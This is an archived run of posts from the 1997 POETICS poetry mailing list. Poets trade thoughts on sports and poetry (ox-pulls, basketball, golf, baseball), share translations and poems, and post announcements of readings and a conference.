Poetic sports? Most sports fall into three categories--skills of war, skills of hunting, forlorn hope that sportstogs will tear in interesting ways (the greeks combined these by having athletes compete naked). Then there's a remnant category--skills of labor. My favorite of these is the ox-pull, practiced at county fairs in New England (and beyond?). A pair of enormous oxen are hitched to a sledge laden with concrete blocks. The pair gets three tries at pulling each weight for, I think, ten feet. What's wonderful about this sport is that the oxen (unlike horses in the otherwise identical sport of horse-pulling) are truly as stolid as oxen--they exhibit absolutely no change in affect or mood. As if by contagion, their human entourage neither. Despite the fact that consistent losers are likely to wind up as hamburger (analogy with mesoamerican ballgame?). And also (antecedent--wonderful) that the vast bulk of the time is spent in loading the sledge further, leading in the teams of oxen, hitching, rehitching, unhitching, etc. If the poetic in sports is in proportion to the slowness of the game, this beats baseball by a mile. The audience, sometimes larger than at most poetry readings, tends to be on the laconic side--zen farmers who've sat once too often. Did you know that if you sit absolutely still for long enough your brain, responding to gravity, begins to puddle? That's what I love about ox-pulls.

At 01:44 PM 4/23/97 -0400, you wrote:
>>>And given Spicer's love of baseball, any poets (here or there) with a
>>>similar love of BASKETball?
>>>
>>>bill marsh
>>
>You bet. Stephen Dunn certainly is -- in fact I think he played semi-pro in
>Spain for a while in his youth. Other versifying NCAA fans -- and Syracuse
>fans at that!-- are Robert Lietz and yours truly. I think Garrett Hongo's
>a hoops fan, too, but I'm basing that on a poem of his so take it for what
>it's worth.
>
>It does seem, though, that if a poet dares admit to liking a sport,
>baseball is the safe one, probably because it's slow, and therefore
>"poetic." That whole gauzy (but yes, attractive) _Field of Dreams_ thing.
>An interesting sport to bring up in the company of poets is golf. I once
>mentioned that I played -- or was trying to -- and was immediately brought
>up short by another poet who gave me a lecture about how poetry and golf
>were incompatible, morally so, as I remember. This, however, came from
>someone who had never played the game, and who assumed that only rich
>stockbrokers indulged, ignorant of the fact that almost every summer
>weekday evening the links are crowded with hard workin' factory folk
>tearing up the fairways with their company leagues. Par to the people.
>
>**********
>Fred Muratori "The spaces between things keep
>
>([redacted]) getting bigger & more
>
>Reference Services Division important."
>Olin * Kroch * Uris Libraries - John Ashbery
>Cornell University
>Ithaca, NY 14853
>WWW: http://fmref.library.cornell.edu/spectra.html
>**********
>
>

↑ Index

811. Joel Felix
Re: ReHoops
Wed 23 Apr 1997

At 01:44 PM 4/23/97 -0400, you wrote:
>>>And given Spicer's love of baseball, any poets (here or there) with a
>>>similar love of BASKETball?

Myself I find basketball to be my great love these years, tho maybe i'm a victim of the generational decline of baseball myth. Is it true that baseball is less poetic than it was once, as they report on the tv? Any of you all ever read Tom Clark's *Fan Poems*, from '76? May I hazard my opinion that it was a truly awful book? A couple monthes ago I set out to re-write it, using the same title, and now instead find myself writing paeans to Chris Webber. Still stuck in '92 with the Fab Five, I guess, t-ing for one last time out.

Joel Felix

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812. Hank Lazer
Re: ReHoops
Wed 23 Apr 1997

A major hoops fan (alas, for Syracuse too): John Taggart.

As for Fred Muratori's unearthing that charged topic, golf, I'll go on record as a fanatic. And yes, Fred, the poetry & golf connection does produce odd responses. I do know of a number of fellow golf-addicts on this list, but I will not name names....

Hank Lazer

↑ Index

813. Christina Fairbank Chirot
Re: Looking for Mr. Goodba--no, Joe Napora
Wed 23 Apr 1997

Joe Napora's Bullhead IS in Spencer Selby's list.

> You can get BULLHEAD from Joe for five dollars at:
>
> 2205 Moore Street
> Ashland, Kentucky 41101

--dave baptiste chirot

On Tue, 22 Apr 1997, Christopher Alexander wrote:

> *Alright, Joe Napora, come on out, I give up.*
> *I've been looking through the archive for any*
> *mention of *BullHead* & how to get it but I*
>
> *just can't seem to find it, even on the mag list*
> *(Thank you, Spencer Selby) posted last October,*
> *nor can I find your address for that matter. We*
>
> *all know you're in here somewhere, so "don't you*
> *think it would be best for all concerned if we*
> *just took care of this matter quietly right now?"*
>
> *Chris*
> *..*
> *Christopher Alexander, etc.*
> *nominative press collective*
> *160S 1300E #16*
> *Salt Lake City UT 84102*
> [redacted]
>
> *n/formation issue 1.1 now online:*
> *http://choengmon.lib.utah.edu/~calexand/nonce*

↑ Index

814. William Burmeister Prod

Re: ReHoops

Wed 23 Apr 1997

Fred Muratori writes:

> *baseball is the safe one, probably because it's slow, and therefore*
> *"poetic." That whole gauzy (but yes, attractive) _Field of Dreams_ thing.*

It's in the pitching too. There's poetry in the pitching, or at least I think so from my few years on the mound. Spicer said poets think that they are the pitcher when in fact they are the catcher. I think it can go either way; one can't do without the other. Gerald Early (I think that's right) has a couple of nice prose articles in the APR on baseball and poetry from last year (summer I think).

Bill B.

↑ Index

815. Henry Gould
more of yr favorite arthur
Wed 23 Apr 1997

here's the whole poem of which a line was drawn in San Francisco by O. Mandelstam, trans by McKanes, with improvements (in his mind at least) by H. Gould:

Birth of the Smile

When a child starts to smile,
with a crease of bitterness and sweetness,
honestly, the ends of his grin
go off into the anarchy of the ocean.

He feels invincibly good,
the corners of his lips play in glory,
already the rainbow stitch is sewn
for the endless understanding of reality.

At the flux and flow of the mouth's snail
the mainland rose out of the water on its paws,
and one world-shouldering moment is revealed
to the slender tune of praise and surprise.

1937.

Translation of course is a poor substitute. This too was written in Voronezh in the year of the Terror. Mandelstam's music of phanopeia/ melopeia/logopeia - his bridge of pathos/joy - is utterly invincible & is the apex of the M(illenium). He is maybe close to Yeats - the same "eagle mind" but without that sort of cat-like feral coldness Yeats sometimes displays.

One of his few pleasures in exile was listening to the radio. He wrote this poem after hearing Marian Anderson (she was on tour in Moscow).

I am buried in the lion's den and into this fortress
I sink lower, lower and lower,
listening to the yeasty cloudburst of sounds
stronger than the lion, more powerful than the Pentateuch.

How closely your voice calls to me:
mankind before the commandments,
like the strings of ocean pearls
and the slender baskets of Tahitian girls.

The strong deep notes of your chastising song
are like an advancing continent.

The savage sweet faces of spoiled daughters
are not worth the matriarch's little finger.

My time is still limitless,
and I abetted the rapture of the universe
the way a quiet organ's playing
accompanies a woman's voice.

[trans. by McKanes with slight improvements]

think of Marian Anderson singing at the Lincoln Memorial in the 30s over the heads of the D.A.R. & Mandlestam is listening to her, over there in Voronezh. & it's the 30s and it's now. - T.S. Eliot after a double on the rocks with lime

↑ Index

816. Daniel Bouchard
Re: ReHoops
Wed 23 Apr 1997

> An interesting sport to bring up in the company of poets is golf. I once
> mentioned that I played -- or was trying to -- and was immediately
brought > up short by another poet who gave me a lecture about how poetry
and golf > were incompatible, morally so, as I remember.

Fred -- trhere is of course Toby Olson, lovely poet & novelist & golfer who has a splendid book of the latter variety that deals with golf. -- Pierre

In fact, golf is used as an agent of good (against evil) in Seaview. A fine novel; morally compatible for even the best golfers.

[redacted]

↑ Index

817. Jordan Davis
50 poem collar
Wed 23 Apr 1997

You know, the stock market
has a fifty point collar
that holds up trading almost
every day these days the
idea being to allow things
to cool off, but when the
lock comes off (the button?)
trading tends to go on at
the same pace as before!

Which is not to draw any
analogies between this list
and the stock market, at
least none between any
of the things people say
about either ...

speculating pinky,
Jordan
who reminds you to come hear Maureen Owen
author of "Poem to Piss Everyone Off"
tomorrow
(NY!)

↑ Index

818. David Israel
& now, a comic [morbid] interlude . . .
Wed 23 Apr 1997

---

a friend sent me this:

From John Dvorak's May 6 _Inside Track_ column in PC Magazine.

<< It Was Bound to Happen Dept.: Leif Technologies ([redacted]) is showing an unusual new tombstone add-on called View.logy (about $5000 to $7000). It's a computerized system with an LCD screen and a couple of buttons that allows people to read your biography, access family tree information, and view whatever else can fit into 250 pages of memory at your final resting place. The double-walled stainless-steel unit is designed to last forever or until Armageddon, whichever comes first. Right now this system displays text and pictures on a gravestone or cremation urn, but I'm sure more applications will arive. >>

One wonders about -- a few technicalities. Like: postmortem editing? (add-ons of descendents? -- provisions for inclusion / exclusion of begats...); hypertext links? sound/video files? "live" connections to websites in perpetuity? -- and a new botique niche for RIP-VID scriptwriters & directors & producers -- & the special eclat of having (say) Wim Wenders or David Lynch "do" your r.i.p.-vid. -- (those are a few, for starters) . . .

"r.i.p., hombre"
d.i.

↑ Index

819. **Mark Weiss**
Re: horse apples
Wed 23 Apr 1997

If horse-shit fights were an organized sport poets would be banned from the amateurs.

At 11:21 AM 4/23/97 -0700, you wrote:
>when I was a child I spent summers in camps in the mountains of pennsylva-
nia
>with a bunch of other urban kids. by analogy with snowballs, we used to have
>manure fights. This makes me something of an expert. The lady has it.
>The deal was to find a turd that had dried enough so that it could be molded
>into a proper sphere but fresh enough so that it would still cause offence.
>
>What a relief to tell the story. I have been afraid that this piece of
>folklore would die with me and the world be impovrished by its loss.
>
>At 05:43 PM 4/22/97 -0400, you wrote:
>>Henry Gould wrote:
>>
>>>(as my Uncle George used to sing: "What's the color of horse manure?
>>>Brown, Brown, Brown.")
>>
>>As we all know, the color of horse manure depends on whether it's fresh or
>>well-aged. Uncle George obviously prefers the well-aged variety, since fresh
>>horse apples are green, green, green.
>>
>>B.W. (a former surf lurker grazing on Henry's turf.)
>>
>>
>
>

↑ Index

820. **Keith Tuma**
Re: ReHoops
Wed 23 Apr 1997

re Hoops

there's the opening to _What_ now obsolete 'cause of the WNBA

and procrustean Walter Benn Michaels once told me that he knew the west coast langpo boys best from basketball rather than poesy

and despite bad knees barry watten volunteered for a game in orono that never took place

and tim bahti once told me a funny story about stanley fish yelling at a grad student "hey yr not ever to play without me again" or something of the sort as i guess sf had been forced to the sidelines or wasn't getting his shots

and alan shapiro played as an undergrad at brandeis and sees the court pretty well and rumor has it once turned down a chance to pick up a game in nc with mike j. figuring he'd be the only one ever offered that possibility who could say THAT

and i recommend all you bards send yr books to phil jackson so he can pass them out to players on the road and you can say that rodman and kukoc didn't read my book as they hung out in hotels and made $250,000 a night

dribble dribble

↑ Index

821. **Rachel Loden**
there's a man on the fairway taking names
Wed 23 Apr 1997

Hank Lazer wrote:

> *As for Fred Muratori's unearthing that charged topic, golf, I'll go on record as a fanatic. And yes, Fred, the poetry & golf connection does produce odd responses. I do know of a number of fellow golf-addicts on this list, but I will not name names....*

Now what sort of fun is it if you won't name names? But I like what Mencken had to say on the subject: "If I had my way, any man guilty of golf would be ineligible for any office of trust in the United States."

Rachel L.

↑ Index

822. **Pritchett,Pat**
Re: ReHoops
Wed 23 Apr 1997

You can add Jack Collom and Michael Friedman to that list. As for me, I had the distinction of playing on the worst H.S. team in South Bend Indiana - the Marian Knights - in the early 70's. We went 1-12 before I quit. God, did we suck! Jack opines that the Bulls are so eminently watchable not just b/c of their

preternatural court prowess but b/c they are easily the most eccentric collection of players in the league. (Is anyone else beginning to find Jordan's impersonable perfection cloying? My favorite was Magic Johnson - with the possible exception of Cousy and the Big O, the smartest player ever to step onto the court).

And why is it that baseball (which moves too slowly for me) inspires such good writing and basketball doesn't? I can only think of two good books on hoops - Halberstam's _Breaks of the Game_ which unfortunately was written by Halberstam ("He was Bill. He was Bill Walton.") and John McPhee's marvelous book on Bill Bradley at Princeton, _A Sense of Where You Are_?

Golf is a truly sublime sport, as anyone who's ever sunk a difficult putt or knocked the dimples off a tee shot knows. I know Paul Naylor is a player, but I've never met any other poet who professed to like the game. I'd play more - but then I couldn't buy books!

Patrick Pritchett

From: Fred Muratori
To: POETICS
Subject: Re: ReHoops
Date: Wednesday, April 23, 1997 2:09PM

>>And given Spicer's love of baseball, any poets (here or there) with a
>>similar love of BASKETball?
>>
>>bill marsh
>
You bet. Stephen Dunn certainly is -- in fact I think he played semi-pro in Spain for a while in his youth. Other versifying NCAA fans -- and Syracuse fans at that!-- are Robert Lietz and yours truly. I think Garrett Hongo's a hoops fan, too, but I'm basing that on a poem of his so take it for what it's worth.

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823. Joe Safdie
Re: Re Hoops, Lurking and The Divine Analogy
Wed 23 Apr 1997

On Wed, 23 Apr 1997, Mark Weiss wrote:

> *Did you know that if you sit absolutely still for long enough your brain, responding to gravity, begins to puddle?*

Hasn't Mark found the real alternative, here, to lurking? I humbly submit PUDDLING to the multitude! Just puddling along, not really diving in; puddling through the posts. I dunno, sounds good to me.

About sports, and recent messages concerning same: would anyone be interested in collaborating on what may not be a RENGA but would definitely be some sort of post-individual piece on the NBA playoffs? "I" "myself" (sorry, Mark Wallace _et al_, an ingrained habit) try to compose some improvisational thing or other on the occasion of the World Series every year; this would of course be quicker, the associations more "instanter" as Olson had it, but might be fun.

And finally, if I may be permitted a short excursus on the thread last week that (briefly) bore my name in the subject line, along with that Canadian fella . . . my lone, rather small, contribution to the individual/social conversation was quickly metamorphosed into a defense of some romantic heroic/artistic individualism which I didn't recognize as ever having said (although I have nothing against individuals, some of my best friends . . .) I was concerned, rather, with what I perceived as the stated likelihood of the artist's work -- by which I mean yours, mine or anyone else's on this list -- being subsumed by the institution he or she was a part of: not quite the same thing.

I wish I had Olson's _Selected_ at hand, because I'm now going to butcher something he wrote (Michael B., are you still around?), something like "I deplore the current substitution of the social for the cosmos, the totality" -- that gets closer to what, in this context, I believe. Me and Giordano Bruno. And maybe even Henry the Bold, whose remarks on Joyce and the "real world" a few days back are still ringing.

Not a Boeing Supersonic fan, though currently puddling in Seattle,

Joe Safdie

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824. **Shaunanne Tangney**

Re: ReHoops

Wed 23 Apr 1997

On Wed, 23 Apr 1997, Fred Muratori wrote:

> *It does seem, though, that if a poet dares admit to liking a sport, baseball is the safe one, probably because it's slow, and therefore "poetic." That whole gauzy (but yes, attractive) _Field of Dreams_ thing.*

oh, for me it's all about basketball. perhaps because i went to my 1sy bball game when i was 27 days old (my dad's a coach) and thus it has been a part of

my life forever. but it's not so sentimental, really. basketball is an art/form. impossible things happen on a basketball court. and they happen because they are confined to that court. just like in poetry, impossible things happen--because they are confined to the poem. there are rules, forms, a space in which to play, to perform--and when all of those things are maintained: the impossible happens. is made to happen. no human body should be able to do what chamberlin's or west's or abdul-jabbar's or bird's or jordan's did/does and language isn't supposed to do what it does in a poem, what the poet makes it do. i suppose you could make this analogy of (m)any sport(s)--but there is something about basketball--something about the form and formalism of it. baseball has its infinitude; football and ice hockey their recklessness; but basketball (and tennis, too, i think) are about form and formalism, making impossible things happen w/in that form. . .

--shaunanne

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825. Small Press Traffic
Ronald Johnson reading in SF
Wed 23 Apr 1997

Hi, this is Dodie. The staff at SPT just found out that Ronald Johnson will be reading from ARK in the New College Theater (777 Valencia Street) on Thursday, May 1, 7:30 p.m. His reading is sponsored by the Poetics Program at New College.

Small Press Traffic Literary Arts Center
766 Valencia Street
San Francisco, CA 94110 415/[redacted]

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826. Small Press Traffic
the next 2 Fridays at SPT
Wed 23 Apr 1997

Small Press Traffic Presents

Friday, April 25, 7:30 p.m.

Talk Series:
Kristin Prevallet on Helen Adam

New College Theater
777 Valencia Street
$5

Small Press Traffic's _Talk Series_ continues with this special event featuring poet Kristin Prevallet, who will discuss her research on the life and work of Helen Adam, one of the brightest lights of the San Francisco Renaissance. Scottish-born Helen Adam (1909-1992) was a mystic balladeer, who wrote and thought in the language of Dunbar and Ingoldsby while maintaining intimate friendships with Robert Duncan, Jack Spicer, Madeline Gleason, James Broughton, and countless others in the poetry-mad world of the Bay Area of the 1950s and 60s. A gifted storyteller, collagist and photographer, she is best remembered for her tragicomic operetta _San Francisco's Burning!_

Kristin Prevallet's _Perturbation, My Sister: A study of Max Ernst's Hundred Headless Woman,_ is forthcoming this spring from First Intensity Press. She is an editor of _apex of the M,_ and is working on a video based on _The Rime of the Ancient Mariner._ For the past three years she has been cataloguing the archive of Helen Adam at the Poetry/Rare Books Collection at SUNY Buffalo.

At this event, Prevallet will give a slide presentation of Adam's life and times, and will introduce the restored version of _Daydream of Darkness,_ the film made by Helen Adam and the painter William McNeill in 1962-3. _Daydream of Darkness,_ a poetic film fantasia, was shown only once, at Robin Blaser's Peacock Gallery on the eve of JFK's assassination, and then abandoned. In the course of her research, Prevallet discovered the film, its celluloid near rotting, and has arranged its restoration for this grand re-premiere!

Please note: Prevallet will be reading from her own poetry at a separate event this same weekend, at Canessa Park, 708 Montgomery Street, Sunday, April 27th, at 3:00 p.m. Do not confuse the 2 events-our event is the one and only Helen Adam presentation!

Friday, May 2, 7:30 p.m.

Joanne Kyger
Dale Smith

New College Cultural Center
766 Valencia Street
$5

What an event! Joanne Kyger, an active presence in the Bay Area poetry scene for forty years, has lived the life I've always dreamed of. She's the author of 14 books of poetry: she's seen it all, she's done it all, and she grows younger

instead of older-my ideal! The friend of Olson, Spicer, Wieners, Berrigan, and so many more, Kyger has crafted a poetry of excitement and spiritual revelation which influences the younger generation of today. The range and energy of her writing seems to re-distribute the molecules of the air we breathe, and the social space we inhabit. Her most recent book is _Some Sketches from the Life of Helena Petrovna Blavatsky_ (Boulder: Rodent Press, 1996). This summer she will be teaching at the Naropa Institute.

Dale Smith returns to San Francisco from Austin, Texas, where he has recently completed a thesis on Philip Whalen's poetry for his MA from New College. Smith's writing is always surprising, ranging from elegaic to formally combustible, but always with a romantic Western undercurrent. "Wanting/ to live furious, the living/ as distinct a thing as things/ themselves." His work is forthcoming in _GAS_ and _Jejune_ and has appeared in _Mirage, Exquisite Corpse,_ and _Wired_. With Michael Price he edits the magazine _Mike and Dale's Younger Poets_. "Other than that, I get high, read, and hang out with Hoa."

Small Press Traffic Literary Arts Center
766 Valencia Street
San Francisco, CA 94110 415/[redacted]

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827. George Bowering

Re: ReHoops

Wed 23 Apr 1997

> *And given Spicer's love of baseball, any poets (here or there) with a similar love of BASKETball?*
>
> *bill marsh*

Well, I did have 2 free tickets for g ames 3 and 4 of last year's NBA final, except that I had to sit with a bunch of Bulls' family and friends at the Dome.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

828. **George Bowering**
Re: horse apples
Wed 23 Apr 1997

Our Okanagan horse bun fights were something like that. Not the soputh Okanagan is desert country, so horse buns would get crispy dry on the outside while they were still green on the inside. Perfect for picking up without disgust and throwing against the other kid's shirt (on the days when we wd wear shirts), because they would burst and spread. Other good things for throwing were tree-ripened peaches and clumps of really high-growing couch grass, whixch you wd swirl and hurl. They wd hit dirt first.

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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829. **George Bowering**
Re: ReHoops
Wed 23 Apr 1997

In an anthology of fiction about sports that I once edited, there was one story about golf, by David Helwig of Kingston, a poet and fistion writer. But that's the only one I remember seeing, and IU dont remember any golf poetry. Wait, didnt that novelist whose name starts with U. write fiction abt golf?

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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830. George Bowering
Re: ReHoops
Wed 23 Apr 1997

Last summer I went to a soccer game (Vancouver 3, Seattle 2) with Bromige, and we had , because of his son, a thermos of gin and a thermos of vermouth and some plastic cups. Bromige told me that in England this was quite customary. I believed him,

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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831. David Israel
orient v. occident
Wed 23 Apr 1997

interesting that the word "europe" is parsed (via some or other root) to mean "west" just as the word "asia" (in like wise) has roots in "east" --

which brings me to David Bromage's occidental complaint, namely & to wit:

<<<
Date: Mon, 21 Apr 1997 14:00:32 -0500
From: David Bromige <[redacted]>
Subject: marianne moore's poems
<snip>
PPS The 50-posts-per-day limit is unfair to Westerners, esp to BC,
Oregon, Washington state & California residents. Unless we're
insomniacs, the dice of the day's debate are loaded against us. Would like
to see some proportional representation system worked out to redress
this imbalance.
>>>

proportional, as in, numerically representative of a ratio of subscribers? (or of just those who post? -- swimmers rather than swimmers + lubbers)? -- as if one were to take a census & figure out how many are in eastern U.S. time zone & how many in western U.S. [the two assumed poles of the above idea] and then ration it out somehow? . . . and where does that leave our friends down in Oz?

-- or (say) Stephen Paul Miller (now in Krakow, Poland) or . . . so, in theory, there could be issues . . .

David B. posted the above-quoted note early in the day on Monday [from California], but I didn't get it till today [Wednesday] -- it was being compiled in Wednesday's digest [being a hold-over form a day well past its 50-limit], till I switched from digest to nodigest mode . . .

David I. [aka moi], on the other hand, attempted to make a post at 4:45 p.m. today (here in the mystic east), and got this response from LaMama Computer:

>>> L-Soft list server at University at Buffalo (1.8c)
<[redacted]> 04/23/97 04:45pm
>>>
The distribution of your message dated Wed, 23 Apr 1997 16:40:50
-0400 with subject "& now, a comic [morbid] interlude . . ." has been
postponed because the daily message limit for the POETICS list (50)
has been exceeded. No action is required from you; your message will be
reprocessed automatically once the list owner releases the list.

/ / / / /

I'm thinking of this & trying to reckon (or sourt out) against whom the dice of the day are/were loaded; but I can't quite reach clear conclusions. Today, the 50-limit was reached quite early -- and true enough, it was 3 hours earlier in California than in New York; on the other hand, you westerners get a clean slate & a clear road directly after the New York Midnight -- which is 9:00 p.m. for you'all, so you've got clear sailin' at that end of the day, while we -- to participate in any early-list reparte, must needs burn the proverbial midnight oil . . .

DB also allows:
<<< You c o u l d place a ceiling upon the number of postings by an
(excuse the term) individual per day. db >>>

yes, but some folks have these neat little rejoinders & suchlike, while others have these fantastic, billowing essayish items -- and how, praytell, is that to be well-sorted by a mere number-of-posts factor? . . .

in short, I don't really have a position on this. Another listserv that I participate in has a number-of-posts limit set at 10 / day -- and that's something that, there, folks are rarely aware of (once or twoice, I've met up with it meself, but this indicates my prolixity in that corral . . .) --

yes, there could be some such limit; one thing it would perhaps encourage would be longer (or even more "thought out" posts) -- but do we necessarily want either of those forces at the steering wheel ? ?

nuff (as they say) sed,

d.i.

↑ Index

832. **Jeffrey W. Timmons**
Re: articulated skeletons
Wed 23 Apr 1997

---

lurk flit flitter--
flitting always shy
of fitting . . .

if I a-r-t-i-culate
myself enter
the "social contract"
become bone
is my skin
individuality?

flesh is appetite
my fondness for . . .

shall I be lost
if you find me?
(without doubt)

↑ Index

833. **Jeffrey W. Timmons**
Re: "the divine analogy which is the unity of the human race"?
Wed 23 Apr 1997

On Tue, 22 Apr 1997, Mark Weiss wrote:

In a dogless context we run off with the cat.

precious.

↑ Index

834. **Dave Zauhar**
Re: poetry and golf (was ReHoops)
Wed 23 Apr 1997

> *A major hoops fan (alas, for Syracuse too): John Taggart.*
>
> *As for Fred Muratori's unearthing that charged topic, golf, I'll go on record as a fanatic. And yes, Fred, the poetry & golf connection does produce odd responses. I do know of a number of fellow*

> *golf-addicts on this list, but I will not name names....*
>
> *Hank Lazar*

The strangest amalgamation of poetry and golf I can think of are those stories of Ted Berrigan, presumably, and oddly, a fan of the sport. At least one memoir I've read mentions him reading books on the history of the PGA tour, and he was known to compare the writing of poetry to Arnold Palmer charging on the back nine on the last day of an important tournament.

Dave Zauhar, currently working in Arnold Palmer's birthplace of Latrobe, PA, while dreaming of writing the definitive Berrigan biography

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835. Alan Jen Sondheim
Re: Video tomorow night (fwd)
Wed 23 Apr 1997

Although not strictly poetry, but poetics, I have a video show tomorrow night, Thursday, at 7:00, at the Knitting Factory here in NYC, 74 Leonard Street. I'm running out of Jennifer, btw, or vice versa, at this point; on Cybermind and Fop-l, I've been writing about the phenomenology of this ms/ recognition of problematic identity.

Alan

Doctress N's Expose of Jen's Lies

When Doctress N stayed with me a few weeks ago (having come for the launch party of the Being on Line book), I screened the Jennifer tape for her. Later, in the middle of arguing, she said she knew now that I wore pant- ies. I said, no, I didn't wear panties; I wore them for the tape and noth- ing else. (Since she had seen me naked, she should have realized that.)

Where is this going? For one thing, I'm screening the tape tomorrow night. For another, her reply was that she was an artist, and she never lied in her art. The assumption, of course, is that wearing panties on tape and not in real life constituted a lie, a dishonest art, an art of subterfuge perhaps - which itself was constituted by the fact that the material on the tape, its content, appeared somewhat _as if_ I was Jennifer, to re- suscitate Jeremy Bentham's or Vaihinger's conceit.

A fetish requires maintenance, labor, economics, of a different order and temporality than artwork, which passes literally from hand to hand. When I think:

Jennifer pushes me borderline, I _do_: Alan pushes Jennifer border- line. There's no hardness, no uncanny gaze, in the text.

But the primitive conceit of the _truth_ of art (i.e. "her art is honest," "she true to herself," "she's a fake," "her art's fake," and so forth) hangs like a phallus over its irreality. (For if art is a discourse, it is centrifugal, rim-objects at the subject's horizon generating internally, ec-centric. Truth _swarms._)

Forge a head.

↑ Index

836. Hugh Steinberg
Re: ReHoops
Wed 23 Apr 1997

>>>And given Spicer's love of baseball, any poets (here or there) with a
>>>similar love of BASKETball?
>>>
>>>bill marsh
>>
Bill probably knows this already, but our mutual teacher at Arizona, Jon Anderson, is a fanatic, particularly of Arizona Wildcats basketball and the Boston Red Sox.

Hugh Steinberg

↑ Index

837. jdhollo
further to sandhyabashing
Thu 24 Apr 1997

Hi, folks--& David Israel & his Sanskritist friend George Thompson, in particular: a note from Anne Waldman in response to G.T.s latest post on the matter--"Of course the so-called Beats, particularly Diane di Prima, Allen Ginsberg, and Jack Kerouac were quite familiar with & reading Eliade, but I have not come across particular use of the term 'sandhyabasha' in the context I was applying it in the Scripture (Kerouac) preface. This certainly does not preclude awareness of the principle, & it surfaces 'in spirit' in the long-awaited _Some of the Dharma_ (Kerouac) coming out this fall from Penguin USA. I see this text as illuminating the profound and interesting link of a postmodern poetics with Buddhist philosophical/psychological ideas and practices. There's so much more to say on this subject! In haste, Anne Waldman." End of transmission.

↑ Index

838. Herb Levy
Subtext readings for May, June, July
Thu 24 Apr 1997

Time now to relax & let our memories drift back to 1997, thirtieth anniversary of the summer of love.

Well, for some perhaps, but for others, 1997 was the year in which the [redacted] presented the following readings:

May 15
Belle Randall & Drew Gardner

June 19
Leslie Scalapino
(Scalapino will also conduct a workshop on the 20-21. The workshop is $40.

July 17
John Olson & Christine Stewart

All readings begin at 7:30 pm on the 3rd Thursday of the month at the Speakeasy Cafe, 2304 2nd Avenue in Seattle's increasingly fashionable Belltown district. Suggested donation is $5.

This quadrant of the perennially ongoing series was curated by Bryant Mason. (He's also responsible for the following couple of months, but that information is currently available on a need to know basis only.)

Also, writers from the Subtext collective uber-committee will be featured readers at the Red Sky reading Sunday may 4th, at 7:30 pm on 14th Ave between Pike & Pine Streets in Seattle.

Did I remember to make it clear that this all takes place in Seattle, in the capitol of the United States?

Herb Levy
[redacted]

↑ Index

839. Michael Boughn
Robert Duncan
Thu 24 Apr 1997

I've been working on ways to get the Peruvian governemnt involved in negotiating the release of the Duncan papers being held hostage in the poetry compound at Buffalo.

Anybody got any ideas?

Mike
[redacted]

↑ Index

840. Kathleen Crown
Poetry and the Public Sphere
Thu 24 Apr 1997

Hey folks, We are gearing up for the Rutgers conference on contemporary poetry, "Poetry and the Public Sphere," which kicks off this afternoon at 3 p.m. with talks by Cary Nelson, Maria Damon, and Harriet Davidson. Thanks to a dedicated group of crazed graduate students, wacky professors, and mightily talented and energetic New Brunswick community poets, the conference will be huge, exciting, and explosive. The full program and travel information is posted on our website:

http://english.rutgers.edu/poetry.html.

Everyone is welcome! No need to pre-register. Tonight, readings by Amiri Baraka, Tracie Morris, Reg E. Gaines, Aileen Reyes, and Carl Hancock Rux. After a brief intermission, we will hold a tribute reading to Allen Ginsberg.

For those of you who cannot make it to the conference, Galinsky and Go! Poetry will be here taping events for a later broadcast and archive on his website (more information to follow). Thanks to everyone who helped make this event HAPPEN.

KC

--
****
Kathleen Crown
Rutgers English and Women's Studies
Conference Co-Coordinator, "Poetry and the Public Sphere"
P.O. Box 5054
New Brunswick, NJ 08903-5054
H: 908/[redacted]
W: 908/[redacted]
Dept. Fax: 908/[redacted]
[redacted]
****

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841. Rachel Loden
Granby, Mon Amour
Thu 24 Apr 1997

George Bowering wrote:

> *Words delight me, and so do sentences (and so do those little gestures Rachel makes, but that is another question).*

Mister Bowering is confused again. What he remembers as "gestures" were, of course, my desperate attempts to hail a cab after that disastrous night in Granby, Quebec in 1973 (about which the less said the better). George had a lampshade on his head at the time and was alternately singing "O Canada" and reciting from the collected works of Charles Bukowski (one of his favorites), so I guess he must be forgiven for his lack of depth perception.

Rachel L.

↑ Index

842. Mark Prejsnar
Re: Poem for Rent
Thu 24 Apr 1997

The Lorber information was indeed delightful. As with the "BurmaSlave" campaign, this is much-needed creative linking between social action, political debate and poetry.

Daniel B., thanx for the updates about Boston/Cambridge. It should also be kept in mind that housing struggles are central to just about all of us, and things weren't better for most people even before the recent ultra-right attacks on rent-control. Under the old system, relatively few people of modest means could get rent-control in Brookline, Cambridge, and Boston; the system only applied to a small percentage of the rented housing stock. I lived in the 1980s in Somerville, a working class part of greater Boston where rent control had been successfully trashed in the seventies..Rents were rising so fast that Somerville natives were being driven out, dozens of families per week. I sometimes felt impatient with housing activists in the area, who concentrated for years on the impending attacks on rent-control, when the housing situation was dire for the majority of area working-class people, who couldn't get into the small number of controlled units. (In Cambridge and Brookline, though not Boston, there was virtually no link to need; so pertinacity and connections got some people rent control who didn't need it that much, while many who did hadn't a prayer--It bothered me how little the local left understood or cared about the limits of defending what was already in some ways a corrupt and inadequate system....)

Mark Prejsnar
Atlanta

↑ Index

843. **Mark Prejsnar**
Re: ReHoops
Thu 24 Apr 1997

Actually, as a poet who's a baseball fan(atic), this belongs with Henry's multitudinous and well-cataloged horse-manure.....Most poets (like most **real people**) who know the game loathe that movie, precisely because of the putrid Norman Rockwell absurdity of it (I grew up knowing the sainted Norman myself, in Stockbridge, and posed for him as a kid--I know from bad Americana already).

Mark Prejsnar
Atlanta

On Wed, 23 Apr 1997, Fred Muratori wrote:

> *It does seem, though, that if a poet dares admit to liking a sport, baseball is the safe one, probably because it's slow, and therefore "poetic." That whole gauzy (but yes, attractive) _Field of Dreams_ thing.*

↑ Index

844. **Sylvester Pollet**
Re: ReHoops
Thu 24 Apr 1997

Up till now, I've resisted the urge to post a poem, but since I'm reading tonight in Ellsworth (Maine), and since this one comes so close to the description below, I've succumbed. It's from around 1980, & based on the Blue Hill Fair, annual Labor Day Weekend event.

September

Cast-concrete weights, five to the ton.
The front-end loader stacks them on the sledge--
it is the month of the ox-pull.

It looks like a contest for bellies--
men swollen with children, with bills,
swollen with biscuits and Bud.

Oxen wait and wait.
